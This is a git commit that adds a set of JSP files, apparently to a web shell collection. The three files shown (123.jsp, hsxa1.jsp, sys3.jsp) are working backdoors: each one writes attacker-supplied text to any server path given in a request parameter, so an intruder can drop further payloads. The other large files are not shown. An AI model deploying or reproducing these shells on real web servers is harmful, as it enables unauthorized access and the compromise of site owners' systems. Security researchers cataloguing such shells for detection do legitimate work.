update jsp

This commit is contained in:
tennc 2013-09-05 11:50:00 +08:00
parent c9eb305ae0
commit e47c479d1e
8 changed files with 14365 additions and 0 deletions

3312
jsp/000.jsp Normal file

File diff suppressed because it is too large Load diff

48
jsp/123.jsp Normal file
View file

@ -0,0 +1,48 @@
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
<html>
<head>
<title>JspDo Code By Xiao.3</title>
<style type="text/css">
body { color:red; font-size:12px; background-color:white; }
</style>
</head>
<body>
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='???????????????????????????????????????!'>????????????!</font></a>");
} catch (FileNotFoundException ex2) {
out.println("<font color='red'>????????????!</font>");
} catch (IOException ex) {
out.println("<font color='red'>????????????!</font>");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("<font color='red'>????????????!</font>");
}
}
}
%>
<form name="frmUpload" method="post" action="">
<font color="blue">??????????????????:</font><%out.print(request.getRealPath(request.getServletPath())); %>
<br>
<br>
<font color="blue">??????????????????:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">
<br>
<br>
??????????????????:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>
<br>
<br>
<input type="submit" name="btnSubmit" value="Upload">
</form>
</body>
</html>

1934
jsp/201.jsp Normal file

File diff suppressed because it is too large Load diff

3312
jsp/403.jsp Normal file

File diff suppressed because it is too large Load diff

2403
jsp/807.jsp Normal file

File diff suppressed because it is too large Load diff

1
jsp/hsxa1.jsp Normal file
View file

@ -0,0 +1 @@
<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">

3312
jsp/queryDong.jsp Normal file

File diff suppressed because it is too large Load diff

43
jsp/sys3.jsp Normal file
View file

@ -0,0 +1,43 @@
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
<html>
<head>
</style>
</head>
<body>
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("<font>ok</font></a>");
} catch (FileNotFoundException ex2) {
out.println("<font>shib</font>");
} catch (IOException ex) {
out.println("<font>ok</font>");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("<font>shib</font>");
}
}
}
%>
<form name="frmUpload" method="post" action="">
<br>
<br>
<input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">
<br>
<br>
<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>
<br>
<br>
<input type="submit" name="btnSubmit" value="Upload">
</form>
</body>
</html>